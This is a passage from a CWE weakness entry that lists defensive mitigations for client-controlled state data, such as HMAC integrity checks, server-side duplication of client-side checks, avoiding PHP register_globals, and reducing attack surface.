- If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).
Mitigation MIT-4.2
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- With a stateless protocol such as HTTP, use a framework that maintains the state for you.
- Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45].
- Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation MIT-6
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.
No CAPEC attack patterns related to this CWE.